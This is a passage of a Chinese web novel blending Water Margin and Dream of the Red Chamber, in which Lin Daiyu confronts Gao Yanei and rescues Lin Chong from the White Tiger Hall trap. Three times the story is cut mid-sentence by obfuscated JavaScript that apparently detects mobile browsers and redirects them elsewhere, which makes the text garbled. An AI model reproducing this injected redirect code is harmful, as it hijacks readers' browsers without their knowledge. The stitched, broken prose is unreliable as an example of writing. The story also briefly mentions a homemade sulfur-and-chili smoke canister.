吴用这才收回目光,笑道:“林姑娘真是天赋异禀。梦里学剑,醒来就能用——这等奇事,吴某还是头一回听说。” “天下之大,无奇不有。”黛玉说。 “也是。”吴用点点头,忽然转了话题,“说起来,吴某近日听到一桩趣事,倒与这东京城有关。” 鲁智深来了兴致:“什么趣事?” “听闻高太尉府上,最近不太平。” 这话一出,林冲端茶杯的手,几不可察地顿了一下。 吴用像是没看见,继续摇着扇子,慢悠悠地说:“他那螟蛉之子高衙内,前几日在岳庙闲逛,见一位妇人颇有姿色,便上前调戏。结果被个过路的好汉撞见,一顿好打。” 鲁智深眼睛一亮:“打得好!这等撮鸟,就该打!” “是好。”吴用点头,“可那好汉打完人,报了名号,扬长而去。这下可惹麻烦了。” “什么名号?”鲁智深问。 “没人听见。”吴用摇头,“但有人看见,那好汉使的是军中枪法,招式凌厉,不像江湖路子。” 鲁智深拍桌:“管他什么路子!打得好就是好汉!洒家若在场,也要补上两脚!” 他说得兴起,却没注意到,旁边林冲的脸色,已经微微变了。 黛玉注意到了。 她看着父亲,轻声问:“爹爹认识那好汉?” 林冲端起茶杯,喝了一大口,才含糊道:“同僚提过一嘴……具体也不清楚。” 他放下茶杯,站起身:“天色不早了,玉儿,该回去了。” 这话来得突兀。 鲁智深愣住:“这才什么时候?太阳还没下山呢!” 吴用却也跟着站起来,拱手道:“确实不早了。吴某也该告辞了。” 他看看林冲,又看看黛玉,最后笑道:“今日得见三位,幸甚。日后若有机会,再叙。” 说罢,转身就走。青衫飘飘,几个起落就出了菜园,消失在墙外。 来也突然,去也突然。 张三凑过来,小声对李四说:“这书生,怪得很。” 李四点头:“看着斯文,可那双眼睛……像能看透人心似的。” 鲁智深挠挠光头,嘟囔:“洒家怎么觉得,他话里有话?” 没人回答他。 林冲已经拉着黛玉往外走了。 回家路上,夕阳把两人的影子拉得很长。 林冲走得很快,步子又急又重。黛玉跟在他身后,落后半步,盯着父亲的背影看了很久。 快到榆林巷时,她忽然开口: “爹爹在怕什么?” 林冲脚步一顿。 他没回头,只是站住了,背影在夕阳下显得格外僵硬。 巷子里很安静,只有远处传来的叫卖声,模模糊糊的。 “玉儿,”林冲的声音有些干涩,“有些事,不知道比知道好。” “可我已经知道了。”黛玉走到他身边,仰脸看他,“高衙内调戏妇人,被一个使军中枪法的人打了。爹爹,那个好汉……是你吧?” 林冲猛地转头看她。 父女俩对视。 夕阳的光从巷子口斜斜照进来,在黛玉脸上镀了层金色。她的眼睛清澈见底,里面没有害怕,没有担忧,只有平静的、了然的神色。 林冲忽然觉得,女儿长大了。 长得太快了。 快到他还没来得及适应,她已经能看透他藏在心底的秘密。 “是。”他最终承认了,声音很低,“那日我路过岳庙,正好撞见。” “所以爹爹在怕。”黛玉说,“怕高太尉查到您头上。” 林冲苦笑:“高俅此人,睚眦必报。他虽不知道是我,但若仔细查,难保不会……” “那就让他查。”黛玉打断他,“查到了又如何?他儿子调戏民女,该打。爹爹为民除害,何错之有?” 她说得理直气壮。 林冲看着她,忽然想起七年前那个雨夜。那个在破庙草堆里烧得迷迷糊糊、嘴里喊着“要还泪”的女童。 那时候他就在想,这孩子命苦。 可现在他觉得,也许苦的不是命,是这世道。 “玉儿,”他伸手,想摸摸女儿的头,手到半空又放下,“爹爹是朝廷命官,有些事……不能只凭对错。” “那凭什么?”黛玉问,“凭权势?凭地位?凭他高俅是太尉,就能纵子行凶,还能颠倒黑白?” 林冲说不出话。 因为他知道女儿说得对。 可这世道,有时候“对”没用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156267|196552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “回家吧。”他最后只说了一句,转身继续走。 这次,黛玉没再追问。 她跟在他身后,看着父亲略显佝偻的背影,忽然觉得心口有些堵。 不是想哭的那种堵。 是憋着一口气,吐不出来,咽不下去。 就像有什么东西压在胸口,沉甸甸的。 当夜,黛玉翻来覆去睡不着。 窗外的月亮很亮,透过窗纸洒进来,在地上铺了层银霜。她睁着眼,看着帐顶,脑子里乱糟糟的。 高衙内。高太尉。岳庙。军中枪法。 还有吴用。 那个书生,为什么要特意提起这件事?是巧合,还是故意? 如果是故意……他想干什么? 越想越乱。 她索性披衣起身,走到书桌前,点了灯。 铺纸,研墨,提笔。 笔尖悬在纸上,却半天落不下去。最后无意识地,写了四个字: 神瑛侍者 墨迹在宣纸上洇开,像一滴泪。 黛玉盯着那四个字,看了很久。 这是她高烧时反复梦见的名字。梦里有人这么叫她,声音温柔,带着怜惜。梦里还有灵河,有仙草,有甘露。 据说那是前世用甘露浇灌她的人。 此生若能遇见,怕是真要应了“还泪”的命数——把前世欠的眼泪,一滴一滴还给他。 可凭什么? 凭什么她的命,早在不知道多少年前就被写好了?凭什么她注定要哭一辈子?凭什么她连笑,都像是偷来的? 笔尖一顿,在纸上划出一道深深的墨痕。 她忽然抬手,把那张纸揉成一团,扔在地上。 不够。 又铺一张纸,提笔,这次写得飞快: 绛珠仙草 还泪 太虚幻境 甘露之恩 写满了,揉碎。 再铺,再写,再揉。 地上很快堆了一小堆纸团。每一个纸团里,都包着她想挣脱却挣不脱的宿命。 最后一张纸,她只写了两个字: 偏不 写完了,笔一扔,靠在椅背上,仰头看着屋顶。 灯影摇曳,在她脸上投下明明暗暗的光。 窗外有风吹过,竹叶沙沙地响。远处传来打更的声音,悠悠的,在寂静的夜里传得很远。 “这一世,”她对着空荡荡的屋子,轻声说,“我只为自己。” 声音很轻,但很坚定。 像在发誓。 说完,她吹了灯,回到床上,拉过被子盖好。 这次,很快睡着了。 梦里没有灵河,没有仙草,没有神瑛侍者。 只有一片旷野,她一个人站在那里,手里握着一杆枪。风吹起她的头发,衣袂飞扬。 前方没有路。 但她要往前走。 同一轮月亮下,东京城另一处宅院里,也有人没睡。 吴用坐在书房,面前摊着一本旧书。书页泛黄,上面的字迹有些模糊了。 他翻到某一页,停住了。 那一页画着一株草。形态飘逸,叶片细长,旁边用小篆写着三个字:绛珠草。 下面还有一行注解: 灵河岸畔三生石边仙草,受神瑛侍者甘露灌溉,修成女体,下凡还泪。 吴用盯着那行字,看了很久。 手指轻轻敲着桌面,一下,又一下。 “林黛玉……”他低声念着这个名字,嘴角勾起一抹意味深长的笑,“有趣。” 4. 岳庙流氓 三天后。东京城还是那个东京城,榆林巷还是那个榆林巷。 只是林冲早起练枪时,总觉得心里不踏实。像是有什么东西悬着,晃悠悠的,落不到实处。 林娘子在厨房忙活早饭,见丈夫心不在焉,盛了碗粥递过去:“想什么呢?” “没什么。”林冲接过碗,顿了顿,“今日……你要去岳庙还愿?” “是啊。”林娘子擦擦手,“七年前玉儿病好了,在岳庙许了愿,每年都要去还愿。今天正是日子。怎么?” 林冲张了张嘴,想说“别去了”,可话到嘴边又咽了回去。没道理。 可心里那点不安,就是散不去。 正说着,黛玉从房里出来了。她今日穿了身藕荷色的裙子,头发梳得整整齐齐,一副要出门的打扮。 “娘,我跟您一起去。”她说。 林娘子一愣,随即摇头:“姑娘家去什么庙?在家待着,把《女诫》抄一遍。” “我抄过了。”黛玉说,“上个月就抄完了。” “那就再抄一遍。”林娘子难得态度强硬,“你爹今天休沐,在家陪你。听话。” 黛玉看向父亲。 林冲避开女儿的目光,干咳一声:“玉儿乖,爹……爹给你带糖人回来。西街王老头做的,你不是最爱吃吗?” 这话说得,他自己都觉得假。 黛玉盯着父母看了会儿,忽然笑了:“好啊。” 她答应得太爽快,反而让林冲心里更不安了。可女儿已经转身回房,关门的声音轻轻的,听不出情绪。 吃过早饭,林娘子收拾好香烛供品,坐上马车走了。 车轮声渐远。 林冲站在门口,看着马车消失在巷口,心里那点不安越发强烈。他转身回院,想跟女儿说说话,却见西厢房门关着,里面静悄悄的。 “玉儿?”他敲门。 没回应。 “玉儿,爹进来了?” 还是没声音。 林冲推开门——屋里空荡荡的,窗户开着,风吹得桌上的书页哗啦啦响。 人不见了。 他心头一跳,冲到窗边。窗台上有个浅浅的脚印,看大小,是女儿的。 “这孩子……”林冲咬牙,转身就往外跑。 黛玉确实没在家。 她翻墙出的府,动作利落得像个惯犯。落地时裙摆都没乱,只拍了拍手上的灰,便抄近路往岳庙赶。 她认得那条路。小时候跟母亲去过几次,记得有条小巷子能直通岳庙后门,比走大路快一半。 巷子很窄,两边是高高的院墙,墙上爬满了青苔。偶尔有野猫蹿过去,惊起一阵灰尘。 黛玉走得很快,脚步却轻。像片叶子贴着地面滑行,半点声音都没有。 她心里清楚,父母今天不对劲。 太不对劲了。 母亲平时从不拦着她出门,父亲更不会用“糖人”这种哄三岁小孩的借口。他们越是这样,她越觉得有问题。 岳庙就在前方了。 黛岳庙在东京城西,香火一向旺盛。今天不是初一十五,但人也不少。善男信女们进进出出,空气中弥漫着香火味。 黛玉没走正门。 她绕到侧面,找了棵老槐树,三两下爬上去。枝叶茂密,藏在里面,正好能看见大半个庙院。 目光扫过前殿、正殿、偏殿…… 停住了。 偏殿廊下,围着一群人。 中间是个油头粉面的公子哥,穿着锦缎衣裳,腰间挂着一堆玉佩,走起路来叮当作响。那张脸,黛玉在父亲的同僚宴席上见过一次——高衙内。 高俅的干儿子。 此刻,高衙内正带着三五个帮闲,堵着个妇人。 那妇人背对着黛玉,看不清脸。但看身形,看衣着,看那头熟悉的发髻—— 是母亲。 黛玉的心沉了下去。 廊下,高衙内摇着把扇子,笑得眼睛眯成一条缝:“娘子好容貌。这是来还愿?不如跟我回府,我那儿有上好的沉香,保准比这庙里的灵验。” 林娘子气得脸色发白,往后退了一步:“衙内请自重。” “自重?”高衙内笑得更欢了,“本衙内最懂自重了。来来来,娘子这边请,咱们找个清净地方,慢慢说……” 他伸手要去拉林娘子的手腕。 帮闲们围成一圈,把路堵得死死的。香客们远远看着,指指点点,却没人敢上前。 林娘子又退了一步,后背抵上廊柱,退无可退。 她深吸一口气,正要喊人—— “哪来的癞蛤蟆,也想吃天鹅肉?” 一个脆生生的声音从头顶传来。 众人齐刷刷抬头。 只见偏殿的飞檐上,不知什么时候坐了个少女。藕荷色的裙子在风里轻轻摆动,手里抛玩着两颗石子,一上一下,一上一下。 阳光从她身后照过来,给她整个人镀了层金边。看不清脸,只觉得那身影纤细得不像话,仿佛风一吹就能飘走。 高衙内眼睛一亮。 他这辈子没见过这么……这么特别的姑娘。说不上多美艳,但那种气质,像山涧里的清泉,冷冽冽的,直往人心里钻。 “又来个小美人!”他笑得见牙不见眼,“今日爷运气真好,一双……” 话没说完。 第一颗石子破空而至。 “啪!” 正中发冠。 那顶镶着宝石的银冠应声而飞,“咕噜噜”滚到廊角,沾了一地灰。 高衙内还没反应过来,第二颗石子到了。 “砰!” 打在膝盖上。 力道不大不小,刚好让他腿一软,“扑通”跪倒在地。 “哎哟!”高衙内痛呼一声,脸都扭曲了,“给我……给我抓住她!” 帮闲们这才反应过来,嗷嗷叫着往上冲。 黛玉从檐上一跃而下。 落地时顺手折了根旗杆——插在殿前用来挂幡的,碗口粗,一丈来长。在她手里轻得像根竹竿。 第一个帮闲冲到面前,拳头还没挥出,旗杆已经点在他胸口。 轻轻一点。 那人就像被马车撞了似的,倒飞出去,“砰”地撞在廊柱上,滑下来,不动了。 第二个、第三个一起上。 黛玉手腕一抖,旗杆划出两道弧线。一道扫腿,一道挑腕。两个人几乎同时倒地,一个抱着腿嚎,一个捂着手叫。 还剩两个,对视一眼,转身就跑。 “站住。”黛玉声音不大。 那两人脚下一顿,真不敢动了。 黛玉没理他们。她提着旗杆,走到高衙内面前。 高衙内还跪在地上,膝盖疼得钻心,想站站不起来。他仰头看着这个突然冒出来的姑娘,心里又惊又怒,还有那么一点点……怕。 “你……你知道我是谁吗?”他色厉内荏地吼。 “知道。”黛玉蹲下身,和他平视,“高太尉的干儿子,高衙内。” “知道还敢——” “所以才打你。”黛玉打断他,语气平静得像在说“今天天气不错”。 她举起旗杆,对准高衙内的另一条腿。 “这一下,是替我娘打的。” 话音落,旗杆就要砸下—— “玉儿住手!” 一声暴喝从庙门口传来。 林冲火急火燎地冲进来,官服的下摆都跑乱了。他看见女儿举着旗杆,看见妻子靠着廊柱脸色苍白,看见地上躺着的帮闲,还有跪在那儿的高衙内—— 脸瞬间白了。 他几步冲过去,先扶起妻子:“没事吧?” 林娘子摇头,嘴唇还在抖。 林冲这才看向女儿,又看向高衙内。 高衙内见到林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父女俩站在院子里。 夕阳把影子拉得很长,风吹过,竹叶沙沙响。 “今天的事,”林冲开口,声音有些哑,“以后不能再有。” “为什么?”黛玉看着他,“他调戏娘亲,该打。” “该打,但不该你打。”林冲说,“高俅是什么人?睚眦必报。今天你打了他干儿子,明天他就能想办法报复回来。” “那就让他来。”黛玉说,“我不怕。” “我怕!”林冲声音陡然提高。 他深吸一口气,又压下去:“玉儿,爹知道你本事大。可这世上,不是本事大就能解决所有问题。高俅是太尉,权倾朝野。他要整我们,有的是办法。” 黛玉没说话。 她看着父亲。这个一向挺直腰板的男人,此刻背有些佝偻,眼里有她从未见过的疲惫和……恐惧。 “爹在怕。”她轻声说,“怕这东京城,容不下一个会武功的林黛玉。” 林冲浑身一震。 他张了张嘴,想说什么,却发不出声音。 当夜,林冲没睡。 他在院子里舞枪。 月光下,那杆枪化作一片银光,招招狠戾,式式拼命。像是在跟什么看不见的敌人搏斗,又像是在发泄压抑了一天的怒火和恐惧。 枪风扫过,竹叶簌簌落下。 黛玉在窗前站了很久。 她看见父亲额角的汗,看见他紧抿的嘴唇,看见那双握枪的手,因为用力而青筋暴起。 她知道父亲在怕。 怕高俅报复,怕家破人亡,怕护不住妻女。 5. 白虎节堂劫 高衙内挨打后,太尉府表面风平浪静。 几天过去了,什么动静都没有。没有衙役上门,没有传唤,甚至连句闲话都没传出来。 林娘子提心吊胆了好久,渐渐松口气:“许是……许是那高衙内自己理亏,不敢声张?” 林冲没说话。 他心里清楚,高俅不是这种人。越是平静,底下越是暗流汹涌。 但他不想让妻女担心,只点点头:“也许吧。” 只有黛玉知道不是。 她开始跟踪父亲。 第一天,林冲发现女儿跟在后面,又好气又好笑:“玉儿,你干什么?” “保护爹爹。”黛玉说得理直气壮。 “胡闹!”林冲板起脸,“回府去!” 黛玉转身走了。 第二天,林冲去衙门点卯,走到半路一回头——街角有个卖花的小姑娘,戴着斗笠,看不清脸。可那身形,那步态…… 他走过去,掀开斗笠。 黛玉眨眨眼:“爹爹好眼力。” 林冲:“……” 第三天,林冲学聪明了。他专挑人多的地方走,七拐八绕,确认甩掉了女儿,才往约定的酒楼去。 他不知道的是,他刚进酒楼,街对面茶摊上,那个一直低头喝茶的“少年”就抬起了头。 脸涂得蜡黄,眉毛画粗了,穿着件半旧的青布衫。可那双眼睛,清亮亮的,不是黛玉是谁? 她付了茶钱,起身,慢悠悠地晃进酒楼。 酒楼叫“春风醉”,在东京城算中等档次。临街的雅间,窗户开着,能看见街景。 黛玉进去时,伙计迎上来:“客官几位?” “一位。”她压低声音,让嗓子听起来粗些,“找个清静的座儿。” “好嘞!”伙计引她到二楼,靠楼梯口的位置,“这儿行吗?安静,还能看见楼下街景。” “行。”黛玉坐下,点了壶茶,两样点心。 耳朵却竖着,听隔壁的动静。 隔壁雅间有人。 门关着,但板壁薄,声音能透过来。 一个男人的声音,带着笑,很热络:“教头太见外了!咱们多少年的交情,还这么客气?” 是陆谦。 黛玉记得这个人。父亲从前的同僚,后来调走了,据说攀上了高枝。逢年过节还会来林家走动,每次都带着礼物,说话客客气气的。 可父亲私下里说过:陆谦这人,太精明。精明过头了,就不踏实。 林冲的声音传来,有些迟疑:“陆虞候今日相邀,不知……” “叙旧!纯属叙旧!”陆谦笑着打断,“来来来,先喝一杯。这可是我从江南带回来的‘女儿红’,埋了十八年,就等今天跟教头分享!” 斟酒的声音。 杯盏轻碰。 寒暄了几句闲话,陆谦忽然压低声音:“教头,有句话,不知当讲不当讲。” “请讲。” “前几日……岳庙那事,我听说了。”陆谦的声音很诚恳,“教头别担心。高太尉最是爱才,岂会因小儿胡闹怪罪?实不相瞒,太尉听说后,还把衙内叫去训了一顿,说他不知分寸,冲撞了林教头的家眷。” 林冲没说话。 陆谦继续说:“今日请教头来,实是有桩好事——太尉新得宝刀一口,据说是前朝名匠所铸,削铁如泥。太尉爱不释手,可又怕自己眼力不够,糟蹋了宝贝。所以想请天下识货的,帮忙品评品评。” 隔壁,黛玉的心跳漏了一拍。 宝刀。 品评。 她脑子里有个声音在尖叫,很模糊,像隔着一层雾,但足够让她心惊肉跳。 白虎节堂。 那是商议军机要事的地方,寻常官员不得擅入。带刀闯入——死罪。 “下官岂敢……”林冲的声音传来,带着明显的犹豫。 “教头过谦了!”陆谦笑,“谁不知你‘豹子头’林冲,一双眼睛毒得很?当年在军中,什么兵器到了你手里,是好是坏,一眼便知!太尉就是看重你这本事,才特意嘱咐我,一定要请到教头。” 他又斟了一杯酒:“明日巳时,太尉在府中等你。教头可一定要来,别辜负了太尉一番美意。” 沉默。 长久的沉默。 黛玉屏住呼吸,指尖掐进掌心。 她听见父亲终于开口,声音干涩:“……好。” 林冲从酒楼出来时,脚步有些飘。 陆谦送他到门口,拍着他的肩,笑得真诚:“教头放心,太尉是真心赏识你。明日见了宝刀,说不定一高兴,还能提拔提拔……” “不敢。”林冲拱手,“下官告辞。” 他转身往家走。 走得很慢,背微微佝偻着,像是肩上压着什么重物。 黛玉跟在后面,隔着一段距离。 她看着父亲的背影,心里那潭冰水,开始泛起细小的涟漪。 到家时,天已经黑了。 林娘子在门口等,见丈夫回来,迎上去:“怎么才回来?喝酒了?” “喝了一点。”林冲含糊道,往屋里走,“玉儿呢?” “在房里。”林娘子跟进来,“你脸色不好,是不是……” “没事。”林冲打断她,顿了顿,“明日……我要去太尉府一趟。” 林娘子一愣:“太尉府?去做什么?” “品刀。”林冲坐下来,揉了揉太阳穴,“陆谦说,高太尉得了一口宝刀,想请人看看。” 屋子里静了一瞬。 林娘子脸色变了:“老爷,这……这会不会……” “我知道。”林冲闭上眼,“可太尉相邀,不去不行。” 话音落,黛玉的房门开了。 她走出来,脸上没什么表情:“爹爹,我出去一趟。” “这么晚了,去哪儿?”林冲睁开眼。 “找鲁大师。”黛玉说,“有点事。” 林冲想拦,黛玉已经转身出了门。步子很快,转眼就消失在夜色里。 相国寺晚上比白天还热闹。 泼皮们围着一堆篝火,烤肉喝酒,闹哄哄的。鲁智深坐在中间,一手拿酒碗,一手抓着一只烤鸡腿,吃得满嘴油光。 见黛玉来了,他眼睛一亮:“妹子!来得正好!刚烤好的鸡,来一只?” “不吃。”黛玉走过去,在鲁智深旁边坐下,“大师,我有事跟你说。” 她声音不大,但神色严肃。 鲁智深愣了愣,挥手让泼皮们散开:“去去去,那边吃去!洒家跟妹子说几句话!” 等人都走了,黛玉才开口,把酒楼里听到的话,原原本本说了一遍。 鲁智深听完,手里的鸡腿“啪”地掉在地上。 他瞪大眼睛,脸上那点醉意瞬间没了:“陆谦这厮!洒家早看他不是好东西!两面三刀,专干些阴损事!” 他猛地站起来:“明日我陪哥哥去!倒要看看,他们能玩出什么花样!” “不可。”黛玉按住他,“大师名声在外,去了反而打草惊蛇。他们若见你在,说不定会临时改了计划,那我们就真成瞎子了。” 鲁智深急得直挠光头:“那怎么办?总不能眼睁睁看着哥哥往火坑里跳!” “我有法子。”黛玉说。 她凑近些,压低声音,说了几句。 鲁智深听完,眼睛瞪得更大了:“你……你要扮书童?” “嗯。” “太危险了!”鲁智深摇头,“那可是太尉府!万一出了事……” “所以才要在外面留人接应。”黛玉看着他,“大师,您带着张三李四他们,在太尉府外守着。若一炷香时间我没出来,或者里面传出什么动静,您就想办法闹出点乱子,接应我们出来。” 鲁智深盯着她看了很久。 月光下,少女的脸白得近乎透明,可那双眼睛,坚定得让人心惊。 他终于点头:“好!洒家听妹妹的!” 黛玉回到家时,已经快子时了。 林冲还没睡,坐在堂屋里,面前摆着杯冷茶。见她回来,皱眉:“去哪儿了?这么晚。” “找鲁大师商量点事。”黛玉说,“爹爹,明日去太尉府,我跟你一起去。” 林冲一愣:“你去做什么?” “我去看看那口宝刀。”黛玉说得理所当然,“我也想开开眼。” “胡闹!”林冲板起脸,“那是太尉府,不是菜市场!你一个姑娘家,去那儿做什么?” 黛玉没说话。 她转身回了房。 林冲以为她生气了,正要跟进去说几句软话,却见女儿又出来了——换了身衣裳。 半旧的男装,青布衫,黑布鞋。头发用布带束起来,脸上涂了一层黄姜水,蜡黄蜡黄的,活脱脱一个病弱书生。 林冲目瞪口呆:“玉儿,你……你这是干什么?” “明日我扮作爹爹的书童,跟您去太尉府。”黛玉系好发带,对着铜镜照了照,还挺满意,“这样总行了吧?书童跟着主人,天经地义。” “不行!”林冲想也不想就拒绝,“太危险了!万一……” “万一真是陷阱,我在外面,还能接应您。”黛玉转身,看着父亲,“爹爹,您一个人去,我不放心。” “我不需要你保护!”林冲声音提高,“我是你爹!该我保护你!” “可您保护得了吗?”黛玉轻声问。 林冲像被针扎了一下,张着嘴,说不出话。 是啊,保护得了吗? 如果真是陷阱,如果高俅真要下死手——他一个禁军教头,拿什么跟太尉斗? 父女俩对视着。 堂屋里静得能听见烛火“噼啪”爆开的声音。 许久,林冲颓然坐下,手捂住脸。 他觉得很累。 累得喘不过气。 这时,里屋的门帘掀开了。 林娘子走出来。她也没睡,眼睛红红的,显然哭过。她走到丈夫身边,把手放在他肩上,又看向女儿。 “让玉儿去吧。”她说,声音很轻,但很坚定,“这孩子……比我们都有主意。” 林冲抬头,看着妻子,又看看女儿。 烛光跳跃,堂屋里静得能听见三个人的呼吸声。 林冲那个“好”字说出口,整个人像被抽空了力气,靠在椅背上,闭着眼,不再说话。 黛玉看着他,心里那潭冰水,又泛起一丝涟漪。她走到父亲面前,蹲下身,轻声说:“爹爹放心,不会有事的。” 林冲睁开眼,看着女儿。 那张脸涂得蜡黄,眉毛画粗了,可那双眼睛,清亮亮的,还是他熟悉的样子。只是里面多了些他看不懂的东西——坚定,清醒,还有一丝……狠劲? 他忽然想起七年前那个雨夜。破庙里,女童烧得迷糊,嘴里喊着“要还泪”。那时候他就知道,这孩子不一般。 只是没想到,会不一般到这个地步。 “去睡吧。”林冲最终只说了一句,“明天……明天再说。” 第二天,天刚蒙蒙亮,林冲就醒了。 或者说,他根本没怎么睡。 黛玉倒是睡得很好。她起床时,林娘子已经做好早饭,正在给她准备要带的“道具”——一个装刀的木盒。 盒子是普通的松木盒子,没什么特别。林娘子在盒底垫了层软布,又把几块碎银子缝在盒子的夹层里。 “万一……万一有什么事,这些钱能应急。”她说着,眼圈又红了。 黛玉接过盒子,抱了抱母亲:“娘,别担心。我们很快就回来。” 林冲从房里出来,已经换好了官服。他看了看女儿,又看了看妻子,想说点什么,最后还是沉默了。 早饭吃得安静。 太尉府在城东,离榆林巷不算远,但气派得多。朱红大门,石狮子威武,门口站着八个守卫,个个腰挎钢刀,眼神锐利。 黛玉捧着木盒,低着头,跟在林冲身后。她今天特意把背佝偻了些,步子迈得小,看着真像个怯生生的小书童。 过二门时,守卫多看了她两眼:“这小厮眼生。” 林冲心里一紧,面上却稳着:“新来的,带他见见世面。” 守卫打量黛玉几眼。脸色蜡黄,身子单薄,捧着个木盒子手还在抖——一看就是没见过世面的穷书生。 “进去吧。”守卫挥手放行。 林冲松了口气。 黛玉垂着眼,嘴角却几不可察地勾了勾。 进了府,一路穿廊过院。 越走越不对劲。 太尉府林冲来过几次,知道客厅在哪儿。可陆谦昨天说的,明明是“太尉在府中等你”,按理该去客厅或者书房。 可现在走的路,越来越僻静。 两边是高高的院墙,墙上连个窗户都没有。脚下的青石板路干净得过分,连片落叶都看不见。偶尔有侍卫巡逻经过,看见他们,眼神都带着审视。 黛玉的心跳开始加速。 她悄悄扯了扯父亲的衣角,压低声音:“爹爹,不能再往前了。” 林冲也察觉到了。他脚步慢下来,正想找个借口掉头—— 前面月洞门里,转出一个人。 正是陆谦。 他今天穿得更讲究了,一身锦缎长袍,腰间的玉佩叮当作响。见到林冲,脸上堆起热情的笑:“教头来了!太尉等候多时了!” 说着就上来拉林冲的袖子:“来来来,这边请!” 林冲站着没动,脸色发白:“陆虞候,这……这好像是去白虎节堂的路?” “诶,教头好眼力!”陆谦笑得更欢了,“太尉得的那口宝刀,太过珍贵,不敢放在寻常地方,就暂存在节堂的兵器库里。今日特意请教头来品鉴,也是看重教头的见识!” 他说得合情合理。 可林冲的手心已经冒汗了。 白虎节堂是什么地方?商议军机重地!没有太尉手令,擅入者——死罪! “下官……下官身份低微,恐不便进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156269|196552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节堂。”林冲往后退了一步。 “教头太谦虚了!”陆谦上前一步,拉住他的胳膊,“太尉特许的!走吧走吧,别让太尉等急了!” 他力气不小,林冲被他拉着,不由自主地往前走了几步。 就在这时—— “哎哟!” 跟在后面的黛玉忽然叫了一声。 她脚下一滑,手里的木盒脱手飞出,“哐当”一声,不偏不倚,正砸在陆谦的脚背上! 那盒子是松木的,不算重,可这么砸下去,也够受的。 陆谦痛得“嘶”了一声,松开林冲,抱着脚跳起来:“你……你这小厮!怎么走路的!” “对、对不起!”黛玉慌忙去捡盒子,手忙脚乱的,又把盒子踢了一下,再次砸在陆谦脚上。 陆谦脸都绿了。 趁这工夫,黛玉一把抓住林冲的手腕,低喝:“跑!” 林冲还没反应过来,就被女儿拽着往回跑! “站住!”陆谦反应过来,也顾不得脚疼了,大喊,“来人!拦住他们!” 话音落,两边的院墙后,忽然涌出十几个侍卫!个个手持钢刀,瞬间就把路堵死了! 黛玉脚步不停,拽着林冲就往旁边的小径冲! “分开走!”她推了父亲一把,“往东!我往西!” 林冲还想说什么,黛玉已经松开手,瘦小的身子像条泥鳅似的,钻进旁边的假山丛里,不见了。 “玉儿!”林冲喊了一声,咬咬牙,转身往东跑。 身后脚步声杂乱,侍卫分成了两拨,一拨追他,一拨去追黛玉。 假山丛里,黛玉跑得飞快。 她身子小,专挑缝隙钻。那些侍卫人高马大,在假山丛里反而施展不开,被落下一段距离。 可这样下去不是办法。 黛玉边跑边看,目光扫过周围——花丛,水池,廊檐…… 有了! 她忽然停下脚步,转身,深吸一口气,用尽全身力气大喊: “走水啦!白虎节堂走水啦!” 声音又脆又亮,在寂静的太尉府里像炸开了锅。 远处立刻传来骚动。有侍卫喊“哪里走水”,有丫鬟尖叫,有杂役乱跑…… 整个太尉府,瞬间乱了。 黛玉趁机往围墙方向跑。她记得来时的路,知道那边墙矮,容易翻。 快到墙边时,她回头看了一眼—— 这一眼,心凉了半截。 林冲被堵在墙角了。 七八个侍卫围着他,钢刀在阳光下闪着寒光。林冲背靠着墙,手里没有兵器,只能赤手空拳应对。 终究还是慢了一步。 黛玉咬牙,从怀里掏出个竹筒。 这是她自己琢磨的小玩意儿。竹筒里装了硫磺、硝石,还有磨得极细的辣椒面。筒口用蜡封着,筒底有根引线。 她拔掉引线上的塞子,掏出火折子——幸亏今天带了。 “呲——” 引线点燃,冒着火花。 黛玉瞄准侍卫最密集的地方,用力把竹筒扔过去! “什么东西?”有侍卫看见飞来的竹筒,下意识用刀去挑—— “嘭!” 竹筒炸开! 不是巨响,更像闷雷。但炸开的不是火光,而是一大团红雾!那雾又浓又呛,瞬间笼罩了那片区域! “咳咳咳!” “我的眼睛!” “什么东西!辣死了!” 侍卫们惨叫起来。那红雾里混着辣椒面,吸进去呛得肺疼,沾到眼睛更是火辣辣的疼。一个个涕泪横流,刀都拿不稳了。 林冲也被呛得咳嗽,但他反应快,捂着口鼻就往黛玉这边冲。 父女俩汇合,二话不说就往墙上爬。 墙不算高,两人都有功夫在身,三两下就翻了上去。 刚在墙头站稳,黛玉回头看了一眼。 红雾还没散,侍卫们还在咳嗽抹眼泪。远处,更多的脚步声在往这边赶。 她收回目光,正要往下跳—— 墙外街角,转出一队人。 为首的是个穿着紫色官袍的中年男人,面白无须,眼神阴鸷。他身后跟着十几个官兵,个个刀出鞘,箭上弦。 高俅。 他盯着墙头上的林冲父女,面沉如水,声音冷得像冰: “林冲,你带刀擅闯白虎节堂,该当何罪?给本尉拿下!” 话音落,官兵们一拥而上! 林冲脸色惨白。 他知道,完了。 擅闯节堂是死罪,人赃并获,百口莫辩。 就在这千钧一发之际—— “官差打人啦!官差欺负老百姓啦!” 斜刺里忽然冲出一群人来! 